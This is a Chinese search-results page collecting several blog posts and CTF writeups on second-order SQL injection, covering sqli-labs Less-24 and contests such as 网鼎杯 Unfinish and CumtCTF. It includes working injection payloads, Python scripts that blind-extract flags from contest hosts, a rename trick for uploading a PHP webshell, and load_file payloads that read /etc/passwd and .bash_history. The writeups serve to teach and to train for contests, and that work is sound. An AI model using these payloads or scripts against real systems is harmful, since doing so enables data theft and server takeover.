精华内容
下载资源
问答
  • 这次主要是说明sql的二次注入和sql插入数据库时截断的问题而形成的一种特殊的注入手段,有时会有意想不到的效果。  sql二次注入  二次注入的原理也是非常的简单,在第一次进行数据库插入数据的时候,仅仅只是...
  • 二次注入

    千次阅读 2018-01-12 15:57:11
    二次注入是SQL注入的一种,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 那为什么需要二次注入,...

    二次注入是SQL注入的一种,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。

    那为什么需要二次注入,因为在字符型注入一般都有单引号的存在,首先构造注入闭合单引号,再通过第二次构造语句,在第一次注入的基础上进行注入。

    步骤1:代码审计

    在之前的审计课程中我们已经对网站的大部分功能进行了审计,因而本次审计从messageSub.php入手,它是留言板的页面,我们首先查看其源码:

    if (isset($_POST['submit']) && !empty($_POST['message']) && isset($_SESSION['username'])) {
     $clean_message = clean_input($_POST['message']); 
     $query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())";
     mysql_query($query, $conn) or die(mysql_error());
     mysql_close($conn);
     header('Location: message.php');
    

    可以看到,在处理POST过来的变量时,没有用到sqlwaf,只是对输入的字符串加上了单引号,然后直接就带入了SQL语句进行查询。

    在上述中的这种查询语句是双条件、或者多条件的。

    我们查询语句并不仅仅指select,条件也并不仅仅指where后面的条件。只要输入的内容,有一定的输入关系和顺序,就可以了。

    看这个双条件,分别为:$_SESSION['username']$clean_message。

    我们可以构造如下语句:

    $query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('xxx\',',(),1)#',now())
    

    首先用用户名截断掉后面的单引号,那么闭合的单引号就会到第二个字符串的前面,可以看到,在comment后查询了三个内容,我们再在values中放入任意的查询内容:1。

    这样就达到了截断单引号的目的,再将后面的数据修改为payload,这样就理论上达到了二次注入的条件。

    因此payload为:

    ,(select admin_pass from admin limit 0,1),1);#
    

    当然这一切的前提就是用户名后面有一个\,如果没有\,就不能转义掉单引号,也就无从谈起了,因此我们需要控制用户名。那么如何控制呢?

    可以新注册一个用户,在注册用户名时,添加一个\

    因此我们找到设置用户名的地方:也就是注册的地方:regCheck.php。

    $clean_name = clean_input($_POST['user']);
    $clean_pass = clean_input($_POST['passwd']);
    

    可以看到,它使用clean_input函数对我们输入的用户名进行了过滤

    我们自然要查看一下如何过滤的,在sys/lib.php中找到了过滤函数:

    
    function clean_input( $dirty ) {
     return mysql_real_escape_string( stripslashes( $dirty ) );
    }
    

    它先将我们输入的字符自动转移,再进行反转义,也就是说,比如我们输入xxx\,它会转义成为xxx\\。但进入数据库的时候,他会是一个\还是两个呢?

    我们来进行测试,注册账号nice\,点击注册:

    Alt text

    我们点击注册后,进入用户界面,这时发现账号为nice\\,我们再查看数据数据库,却发现是nice\

    Alt text

    这是为什么呢?这是因为函数的特性。它是使用mysql的函数进行过滤,因此到数据库就变成了单斜杠,既然是单斜杠,那么我们就可以利用了。

    但是在网页上还是nice\,因此我们需要重新登录,刷新Session值,因为网页上的名称是以数据库为准的,因此重新登陆即可。

    再将我们之前构造好的语句,在留言板提交,理论上是可以将管理员的密码爆出来的。

    修复代码示例

    //过滤输入变量
     $clean_name = clean_input($_POST['user']);
     if (!preg_match("/^[a-zA-Z0-9]+$/",$clean_name)) {
      die('用户名只允许\w+');
     }
     $clean_pass = clean_input($_POST['passwd']);
     $avatar = '../images/default.jpg';
    

    在注册的地方regcheck.php加限制,使用正则匹配,只允许注册用户时输入英文和数字,不允许输入特殊字符,从而就修复了这个漏洞


    展开全文
  • 可惜网络不给力,在脚本没变的情况下,第二次才跑出来。 但是已经超时5分钟了,所以等于我一道题没做出来。 (签到题后面才发出来的,每人后面都做签到题)我赌了一把,失败了???? 代码审计 比赛时早上9点开始的,有...

    前言:

    该文章首发于https://sleepymonster.cn

    这是一道2021年暨南大学新生赛决赛的题。

    当时的战况是我在赌一把,如果我做出来了,我就能拿到二等奖

    可惜网络不给力,在脚本没变的情况下,第二次才跑出来。

    但是已经超时5分钟了,所以等于我一道题没做出来。

    (签到题后面才发出来的,每人后面都做签到题)我赌了一把,失败了😭

    代码审计

    比赛时早上9点开始的,有二道题。

    image-20211207182138983

    继续看看描述吧~(里面的Hint是太难了陆陆续续发出来的,后面再说)

    image-20211207182248387

    拿下来之后是一个登录框+添加邮箱📮。

    意思就是你先注册了,然后登陆之后呢可以添加你的邮箱。

    因为存在几个页面,开始代码审计的话用PHPStrom方便点

    根据题目mediun-sql这是道SQL注入题

    找到了存在注入的地方了。(也就是找查询语句)

    image-20211207182615152 image-20211207182647578

    发现就是插入以及查询,基本判断就是二次注入,接着我们来看waf

    public function waf($value): bool
        {
            $blackList = array(' ', '^', '#', '*', '/', '-', ';', '!', '~', '<', '>', '?', '=', urldecode('%00'), urldecode('%09'), urldecode('%0A'), urldecode('%0B'), urldecode('%0C'), urldecode('%0D'), urldecode('%A0'), '+', '`', '"', '\\', '()', 'or', 'and', 'between', 'insert', 'update', 'xml', 'delete', 'into', 'union', 'file', 'extractvalue', 'if', 'substr', 'hex', 'bin', 'ord', 'ascii', 'sleep', 'medium');
            foreach ($blackList as $item) {
                if (stripos($value, $item) !== false) {
                    return false;
                }
            }
            return true;
        }
    

    并且可以发现不管是登陆 注册 以及添加都是要过waf的。并且这个waf还不是一点点。

    联合注入?NO

    image-20211207183220802

    随手添加几个的话,我想的是能不能通过联合注入把里面的flag包含出来

    发现ban了union等根本不可能!!!

    之后我就发现了个问题,因为空格也被ban了,所以只能一层层括号来弄

    大概到中午11点左右,放出了第一波Hint

    image-20211207183612360

    后面那句话引起了我的注意 全部权限任何人都拥有??

    难道是通过SQL来执行命令从而获取权限。

    灵感来自:https://www.freebuf.com/sectool/164608.html sqlmap下的访问文件系统

    但是不对呀?flag存在数据库中,那么应该~

    继续尝试,我还以为可以把查询弹到服务器接收啥的(maybe DNS?),但是没有总的来说啥头绪。。

    同义词绕过?不同页面进行判断?

    直到我翻到了大佬的博客

    发现 ||&&没有被禁止!!

    这个地方是不是注入了?赶紧尝试下!

    先注册一个账号叫做xiaoming

    接着注册一个账号叫做xiaoming'||'1

    进去之后会发现能把所有的email和time全部查询出来!

    // 构成的payload
    
    SELECT email,time FROM email where username = 'xiaoming'
    
    SELECT email,time FROM email where username = 'xiaoming'||'1'
    

    这个时候放出了第二个Hint

    image-20211207184932888

    我直接无语😓,新大陆直接没啦!

    但是看样子是要爆破table的,然后我就开始着手查询资料

    到这里sys.xxxx经过谷歌是发现必须要权限才能访问,与第一个hint照应了!

    然后我在安全客成功翻到了对应的文章!https://www.anquanke.com/post/id/193512

    这个时候我的思路基本成型了。

    也就是通过&&来判断页面。

    例如我先注册的xiaoming如果加上&&仍然能回来对应的注册邮箱,那么就是对的

    如果返回回来是空的那么我的sql语句就是执行失败的

    从而写脚本来跑数据库名称。我正开始写呢。还是没人做出来

    第三波Hint出来了,这下好了,不用写了,直接给你了数据库名称。

    具体的脚本我放到下面,思路都是一样的,具体要变的地方看看安全客的怎么写的就好了。

    因为我的数据库是没有sys的所以只能根据安全客的截图以及他给的截图来写。

    image-20211207185557332

    写脚本爆破Flag

    思路我在上面已经写出来了

    在这里再丰富下吧。

    这个时候我的思路基本成型了。

    也就是通过&&来判断页面。

    例如我先注册的xiaoming如果加上&&仍然能回来对应的注册邮箱,那么就是对的

    如果返回回来是空的那么我的sql语句就是执行失败的

    同时我们要绕过waf,所以空格的替换,必要的关键册的替换都得安排上

    以及你写的语句是不是对的,本地查询试试就好了

    import requests
    import hashlib
    import random
    
    from tqdm import tqdm
    
    # 这里的字符顺序是有讲究的
    # 因为我们要用上like所以最后用下划线_垫尾
    # 其次因为flag说了38位,除了flag{}就32位数 多半是个md5加密
    # 然后的话一般提交小写所以顺序如下小写+数字+大写+下划线
    CharacterSet = 'abcdefghijklmnopqrstuvwxyz0123456789{}ABCDEFGHIJKLMNOPQRSTUVWXYZ_'
    # 这里是个payload的注入例子
    payload = "xiaoxin'||(select(mid(group_concat(flag),1,2))from(c1c7fbbb74d0d43101a2814ade767362))REGEXP'fl"
    
    # 进行注册
    # 其实注册你只要测试了能注册成功就行了
    # 重新跑的时候也不会有影响
    def registered(payload):
        one = hashlib.md5(str(random.random()).encode('utf-8')).hexdigest()
        headers = {
            'cookies' : f'PHPSESSID: {one}'
        }
        url = 'http://35.220.149.77:16034/register.php'
        datas = {
            'username':payload,
            'email':'xxx@qq.com',
            'password': 'aa123123',
            'confirm': 'aa123123'
            }
        r = requests.post(url,data=datas,headers=headers)
        return r.status_code
    
    # 登陆判断包大小
    def LogIn(username, password):
        session = requests.Session()
        url1 = 'http://35.220.149.77:16034/login.php'
        datas = {
            'username':username,
            'password':password,
            }
        r = session.post(url1,data=datas)
        url2 = 'http://35.220.149.77:16034/index.php'
        r = session.get(url2)
        return len(r.text)
    
    # flag{98dca52f6a770b8100cca1a478061743}
    
    flag = ''
    length = len(flag)
    while len(flag) <= 38:
        for x in CharacterSet:
            x = str(x)
            payload = f"xiaoluo'&&(select(mid(group_concat(flag),1,{length + 1}))from(c1c7fbbb74d0d43101a2814ade767362))like'{flag + x}"
            registere = registered(payload)
            res = LogIn(payload, 'aa123123')
            print(f'{res} -- {flag} -- {payload}')
            if 4000 > int(res) > 2000:
                flag = flag + x
                length += 1
                print(flag)
                break
    print('Mission Over')
    

    这里说一下战况吧,在没看到最后一个Hint之前我是连前4位已知的都跑不出来

    image-20211207190731436

    加了headers之后第一次跑完了没成功,检查之后发现前30位都是对的,马上从30位开始跑

    可惜已经结束了比赛,上完厕所回来,flag出来了,但是比赛已经没了!哎😮‍💨

    展开全文
  • 【CTF】二次注入原理及实战

    千次阅读 2021-11-15 09:46:01
    二次注入 文章目录二次注入1、概述2、原理3、注入方法4、CTF实战 1、概述 二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。 二次注入是sql注入的一种,但是比普通sql...

    二次注入

    1、概述

    二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
    二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

    2、原理

    二次注入的原理,在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
    比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
    二次注入,可以概括为以下两步:

    • 第一步:插入恶意数据
      进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
    • 第二步:引用恶意数据
      开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
      配合下图可以有更好的理解:
      二次注入原理图

    3、注入方法

    这里我们使用sqli-labs/Less24为例,进行二次注入方法的练习:
    在这里插入图片描述

    输入admin’#,尝试使用万能密码登录,失败:
    在这里插入图片描述

    登录的部分源代码如下:

    $username = mysql_real_escape_string($_POST["login_user"]);
    $password = mysql_real_escape_string($_POST["login_password"]);
    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
    

    可以看到使用了mysql_real_escape_string进行转义处理,无法进行SQL注入。

    继续研究,发现登陆页面可以进行用户注册,这里我们注册一个admin’#的账号:
    在这里插入图片描述

    注册新用户过程中的处理代码:

    if (isset($_POST['submit']))
    {
    $username= mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);
    echo "<font size='3' color='#FFFF00'>";
    $sql = "select count(*) from users where username='$username'";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
    $row = mysql_fetch_row($res);
    //print_r($row);
    if (!$row[0]== 0)
    {
    ?>
    <script>alert("The username Already exists, Please choose a different username ")</script>;
    <?php
    header('refresh:1, url=new_user.php');
    }
    else
    {
    if ($pass==$re_pass)
    {
    # Building up the query........
    $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
    mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
    echo "</br>";
    

    可以看到传入的username、password、re_password仍均被mysql_escape_string进行了转义处理,但是在数据库中还是插入了admin’#:
    在这里插入图片描述

    这时,我们用admin’#登陆,并进行密码修改,密码修改为123456:
    在这里插入图片描述

    执行后,查看数据库数据:
    在这里插入图片描述

    可以看到admin的密码由原来的123修改为123456。

    登录成功后修改密码的源代码:

    if (isset($_POST['submit']))
    {
        # Validating the user input........
        $username= $_SESSION["username"];
        $curr_pass= mysql_real_escape_string($_POST['current_password']);
        $pass= mysql_real_escape_string($_POST['password']);
        $re_pass= mysql_real_escape_string($_POST['re_password']);
        
        if($pass==$re_pass)
        { 
            $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
            $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
            $row = mysql_affected_rows();
            echo '<font size="3" color="#FFFF00">';
            echo '<center>';
            if($row==1)
            {
                echo "Password successfully updated";
        
            }
            else
            {
                header('Location: failed.php');
                //echo 'You tried to be smart, Try harder!!!! :( ';
            }
        }
        else
        {
            echo '<font size="5" color="#FFFF00"><center>';
            echo "Make sure New Password and Retype Password fields have same value";
            header('refresh:2, url=index.php');
        }
    }
    

    Username直接从数据库中取出,没有经过转义处理。在更新用户密码的时候其实执行了下面的命令:
    “UPDATE users SET PASSWORD=‘123456’ where username=‘admin’#’ and password=’$curr_pass’”。
    因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。

    4、CTF实战

    [网鼎杯2018]Unfinish
    题目页面:
    在这里插入图片描述

    用御剑扫描:
    在这里插入图片描述

    正常注册,登录,抓包看逻辑
    注册有用户名、登录没有用户名,登录成功后用户名回显,猜测用户名存在二次注入
    尝试用户名 1’ and '0
    登录后发现用户名是0,说明存在二次注入

    成功注册,状态码302
    注册失败,状态码200
    用burpsuite跑一遍字典查看过滤字符,
    在这里插入图片描述

    “,”和“information”( 无法通过类似x’ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#语句得到表名字)都被过滤掉了

    注入语句实现方式
    我们可以看这样的语句:
    在这里插入图片描述
    如果用了hex:
    在这里插入图片描述
    这样’test’字符串的十六进制就会成功显示出来

    但是还有个问题:
    在这里插入图片描述
    flag的十六进制里存在字母。如果让它和’0’相加的话,会存在截断的问题:
    在这里插入图片描述
    所以我们应该二次hex,让最后的结果全是数字,这样就不存在截断的问题了:
    在这里插入图片描述

    但是还有问题。如果结果超过10位的话,会转成科学计数法,导致丢失数据。因此要用substr来截,因为这题过滤了逗号,所以要用from for来绕过:
    在这里插入图片描述

    还有一个问题,就是我们再尝试注入的时候发现information被过滤了。因此必须猜测表名是flag。注入的语句是select * from flag。
    测试payload:email=test4@qq.com&username=0’%2B(select hex(hex(database())))%2B’0&password=123456

    最终脚本:

    import requests
    
    
    login_url='http://220.249.52.133:39445/login.php'
    register_url='http://220.249.52.133:39445/register.php'
    content=''
    for i in range(1,20):
        data_register={'email':'15@%d'%i,'username':"0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%i,'password':'1'}
        #print(data)
        data_login={'email':'15@%d'%i,'password':'1'}
        requests.post(register_url,data=data_register)
        rr=requests.post(login_url,data=data_login)
        rr.encoding='utf-8'
        r=rr.text
        location=r.find('user-name')
        cont=r[location+17:location+42].strip()
        content+=cont
        print(cont)
    #content=content.decode('hex').decode('hex')
    print(content)
    

    得到flag:
    在这里插入图片描述
    参考大神博客:https://www.jianshu.com/p/3fe7904683ac
    https://www.jianshu.com/p/3fe7904683ac

    展开全文
  • 一道二次注入Getshell的CTF题

    千次阅读 2019-03-03 12:04:44
    关于什么是二次注入,可参考:SQL二次注入 下面进入题目: 文件管理系统 1、先扫目录,发现可以下载源码,进行代码审计。 2、查看upload.php代码,发现是如下白名单验证,无法上传绕过。 ...

    这道题是CumtCTF第二次双月赛的一道web题,和其他web题一起在上一篇wp:CumtCTF第二次双月赛Writeup(Web详解)中已经详细分析过了,但由于我刚入门,觉得在这道题中收获了很多知识,所以想单独放在一篇文章中,方便之后分类查阅。

    关于什么是二次注入,可参考:SQL二次注入


    下面进入题目:

    文件管理系统

    1、先扫目录,发现可以下载源码,进行代码审计。

    2、查看upload.php代码,发现是如下白名单验证,无法上传绕过。

    <?php
    
    require_once "common.inc.php";
    define('ROOT',dirname(__FILE__).'/'); 
    
    if($_FILES)
    {
        $file = $_FILES["upfile"];
        if($file["error"] == UPLOAD_ERR_OK) {
            $name = basename($file["name"]);
            $path_parts = pathinfo($name);
    
            if(!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
                exit("error extension");
            }
            $path_parts["extension"] = "." . $path_parts["extension"]; 
            // $path_parts["extension"] = ".jpg"
    
            $name = $path_parts["filename"] . $path_parts["extension"];
            
            $path_parts['filename'] = addslashes($path_parts['filename']);
            //$path_parts['filename'] = "',extension='',filename='webshell.jpg"
    
            $sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
            $fetch = $db->query($sql);
            if($fetch->num_rows>0) {
                exit("file is exists");
            }
    
            if(move_uploaded_file($file["tmp_name"], ROOT . UPLOAD_DIR . $name)) {
    
                $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
                $re = $db->query($sql);
                if(!$re) {
                    echo 'error';
                    print_r($db->error);
                    exit;
                }
                $url = "/" . UPLOAD_DIR . $name;
                echo "Your file is upload, url:
                    <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                    <a href=\"/\">go back</a>";
            } else {
                exit("upload error");
            }
    
        } else {
            print_r(error_get_last());
            exit;
        }
    }
    

    3.问题主要出现在rename.php里,代码如下:

    <?php
    
    require_once "common.inc.php";
    define('ROOT',dirname(__FILE__).'/'); 
    
    if(isset($req['oldname']) && isset($req['newname'])) {
        $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
        //因为filename是经过转义后存入数据库的,这里是正常执行sql语句
        if ($result->num_rows>0) {
            $result = $result->fetch_assoc();
        }else{
            exit("old file doesn't exists!");
        }
        
        if($result) {
            
            $req['newname'] = basename($req['newname']);
            $re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
            if(!$re) {
                print_r($db->errorInfo());
                exit;
            }
            $oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
            $newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];
            if(file_exists($oldname)) {
                rename($oldname, $newname);
                $url = "/" . $newname;
                echo "Your file is rename, url:
                    <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                    <a href=\"/\">go back</a>";
            }
            else{echo $oldname." not exists.";}
        }
    }
    ?>
    

    第一个select语句显示根据 $req['filename'] 从数据库里查询到已存在的一行,再用第二个update语句进行修改,这里的'oldname'='{$result['filename']}'将从数据库里查出的$result['filename']再一次入库,因此存在二次注入。

    4、观察发现oldnamenewname,有几个特点:

    • 后缀相同,都是$result[‘extension’]
    • oldname的文件名来自数据库,newname的文件名来自用户输入

    虽然代码要求oldnamenewname要求后缀相同,可以通过update型注入extension改为空,同时可修改filename的值。
    因此构造文件名payload为:',extension='',filename='webshell.jpg.jpg

    5、上传文件名为:',extension='',filename='webshell.jpg.jpg的文件后,根据upload.php知:

     $path_parts["extension"] = ".jpg"
     $path_parts['filename'] = "',extension='',filename='webshell.jpg"
     插入数据库后,此时数据库里:
     filename字段的值为经过addslashes()转义的',extension='',filename='webshell.jpg
     extension字段的值为.jpg
    

    在这里插入图片描述

    6、下来才是真正的updata注入过程

    进入到rename.php页面,进行如下操作,将文件名修改为由',extension='',filename='webshell.jpg修改为webshell.jpg(这里rename页面输入的文件名均是要求不含后缀的,在数据库里文件名和后缀是分两个字段进行存储的)
    在这里插入图片描述
    上述操作改名后:

    $req['oldname'] = "',extension='',filename='webshell.jpg"
    $req['newname'] = "webshell.jpg"
    

    接下来执行:select * from 'file' where 'filename'='{$req['oldname']}'
    因为filename在上传后经过addslashes()转义的,所以此条语句正常执行

    但是在执行下条语句,也就是:

    update 'file' set 'filename'='{$req['newname']}', 'oldname'='{$result['filename']}' where 'fid'={$result['fid']}
    

    出现了注入,将构造的文件名插入这条语句得到实际执行的sql语句:

     update 'file' set 'filename'='webshell.jpg', 'oldname'='',extension='',filename='webshell.jpg' where 'fid'={$result['fid']}
    

    可以发现通过updata语句,修改了数据中的字段值,此时数据库中各字段:

    filename = webshell.jpg
    oldname = 空
    extension =  空
    

    这样思路就很清楚了:

    • 虽然数据库中的filename通过注入改变了,但真实系统目录里的文件名为其实并没有变。
      但是通过前面的注入,这条记录的extension值为空,因此只要能够调用rename()函数,就直接把输入的filename里的后缀当成文件后缀。
    • 执行rename()函数还有一个判断:if(file_exists($oldname)),但实际上我们系统目录并没有webshell.jpg这个文件,这样就需要再上传一个webshell.jpg文件。

    7、因此接下来就可以上传真正包含一句话木马的文件:webshell.jpg,上传后:

    $path_parts["extension"] = ".jpg"
    $path_parts['filename'] = "webshell"
    并在数据库中插入了新的一条记录:
    filename字段的值为经过addslashes()转义的webshell
    extension字段的值为.jpg
    且系统目录下存在真实文件:webshell.jpg
    

    在这里插入图片描述
    接下来再次进入rename.php页面进行改名,这也是很关键的一步:
    在这里插入图片描述
    webshell.jpg改为webshell.php,这样操作后:

    因为注入后,数据库中存在filenamewebshell.jpg的记录,因此可以绕过这条语句:

    select * from 'file' where 'filename'='{$req['oldname']}'
    

    然后再次通过updata语句:

    update 'file' set 'filename'='{$req['newname']}', 'oldname'='{$result['filename']}' where 'fid'={$result['fid']}
    

    filename的值从webshell.jpg修改为webshell.phpoldname修改为原来filename的值,其他不变,此时数据库中这条记录的字段值为:

    filename = webshell.php
    oldname = webshell.jpg
    extension =  空
    

    接下来,因为后缀extension为空,所以通过这两条语句赋值后:

    $oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
    $newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];
    

    实际上得到:

    $oldname = webshell.php
    $newname = webshell.jpg
    

    最后,在进行if(file_exists($oldname))判断时,因为第二次上传到目录的文件就是webshell.jpg,所以可以通过判断。
    这样就可以执行rename($oldname, $newname),将目录下的包含木马的文件webshell.jpg改名为webshell.php,也就成功上传了php木马到后台。

    8、既然已经成功上传了webshell,那么直接用菜刀链接,即可getshell,获得flag。
    在这里插入图片描述

    展开全文
  • DedeCms二次注入复现

    2021-01-07 23:34:07
    DedeCms二次注入复现 配置 DedeCms 5.6 php 5.2.17 phpstudy 8.1.1.2 Firefox Hackbar V2 御剑 菜刀 一、环境搭建 1、下载DedeCms5.6 链接地址:https://download.csdn.net/download/sun1296825481/14041738 2、...
  • SQL注入---二次注入

    千次阅读 2019-06-19 19:46:00
    今天接触到了二次注入,写个博客方便以后学习。 1.二次注入原理 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对...
  • 二次注入 二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询...
  • sql注入——二次注入

    千次阅读 2020-02-10 20:20:51
    二次注入原理,主要分为两步 第一步:插入恶意数据 第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留的原来的数据,但是数据本身包含恶意内容。 第二步:引用恶意...
  • 记录CTF-二次注入

    千次阅读 2020-04-20 16:09:48
    在payloads里面可以选择 1、2参数 ==================然后改动payloads type选择 runtimefile 选择文件 开始 %0d 没有被过滤 update xml 3、二次注入 原则只在 注册、登录 就在这里check 其他的类似 密码修改没有...
  • SQL二次注入

    千次阅读 2018-10-25 23:43:40
     ——何为二次注入?  ——为了预防SQL注入攻击,而将输入到应用程序中的某些数据进行了“转义(escape)”,但是这些数据却又在“未被转义(Unescaped)”的查询窗体中重复使用。 简单地说,二次注入和普通注入...
  • 堆叠查询注入攻击 Stackedinjections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。...
  • SQL注入基础:6.二次注入

    千次阅读 2018-10-03 15:24:50
    二次注入 6.1 二次注入攻击 二次注入:攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。 1.php的功能是注册用户,也是插入SQL恶意数据的地方。 2.php的功能是通过参数ID...
  • Sqli-labs之Less-24(二次注入

    千次阅读 2020-04-20 00:11:13
    POST型基于存储的二次注入 随意输入 点击:Forgot your password? 翻译:如果你忘记了密码,去黑掉它。 点击:New User click here? 注册用户。 尝试注册一个用户: 用户:test1 密码:test1 ...
  • 很明显的二次注入~~ comment模块中的 $category 是直接从board中取出数据,没有过滤就直接放入sql语句中了~~ 其中我们 $category 和 $content 都可控~~ 坑 这道题目有个坑,大家需要注意一下 $sql = ...
  • SQL注入篇——二次注入

    千次阅读 2020-02-10 20:33:56
    二次注入原理 二次注入是利用已存储的用户数据读取后再次进入到 SQL 查询语句中导致的注入。 ????????????☝????????有疑问欢迎写信哦 二次注入分为四步: 确定攻击目标账户名 注册恶意账户 修改恶意账户密码 使用...
  • SQL注入之二次注入(详细加演示)

    千次阅读 2020-05-03 09:32:01
    二次注入简单介绍 二次注入是通过与数据库服务器进行交互的过程再次进行注入 比如:登录注册账号密码,(对于没有进行过滤sql语句)通过构造playload来进行SQL注入。 注册一个账号 :admin’-- - 密码:123456 最后...
  • 二次注入——sqli-labs第24关

    千次阅读 2020-08-02 23:40:22
    首先,选择注册 盲猜有个admin的账号,所以注册一个admin '#的账号。密码是12345 (上帝视角)此时admin的密码是admin... 登录 ...这就是二次注入: 原理就是php把…………………… sql……………… 至于为什么会有 ...
  • > 漏洞二:二次注入提取文件 ',content=(select(load_file("/etc/passwd"))),/* ',content=(select(load_file("/home/www/.bash_history"))),/* ',content=(select(load_file("/tmp/html/.DS_Store"))),/* ',content...
  • SQL 注入之二次注入

    千次阅读 2021-12-29 20:20:28
    二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入。防御者可能在用户输入恶意数据时,对其中的特殊字符进行了转义处理;但在恶意数据插入到数据库时,被...
  • 二次注入、加解密、DNS注入 1、二次注入 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义...
  • 符号=====》进制数 ASCII LATIN1 GBK 2byte UTF-8 1byte [00-7F] 2byte [C0-DF] [80-BF] 3byte [E0-EF] [80-BF] [80-BF] 4byte [F0-F7] [80-BF] [80-BF] [80-BF] 如果首字节在C0-DF中单...
  • Web安全原理剖析(七)——二次注入攻击

    万次阅读 热门讨论 2021-09-22 17:36:23
    二次注入攻击
  • 2015年rctf web150 (Update set 二次注入)

    千次阅读 2015-11-17 16:10:10
    坦诚说,这次的题目脑洞有的大 ...此题略去登陆与注册还有前面上传的坑不说,光说说update set 的二次注入: 文件名有注入漏洞: 首先先了解几个函数的意义: mid(),hex(),conv() mid()
  • 这是因为:admin进行了一 base64编码 $cookee = base64_decode($cookee); 我们可以对它进行一解码: 发现就是admin。 剩下的和20关相同。只需讲语句转化为base64的加密 将:admin 'and updatexml(1,concat(0x...
  • 发现无论我们输入什么都无法进行注入 观察源码 发现使用了php中的mysql_real_escape_string() 函数 mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响: \x00 \n \r \ ’...
  • 主要介绍了S-CMS企建v3二次SQL注入的方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 185,251
精华内容 74,100
关键字:

二次注入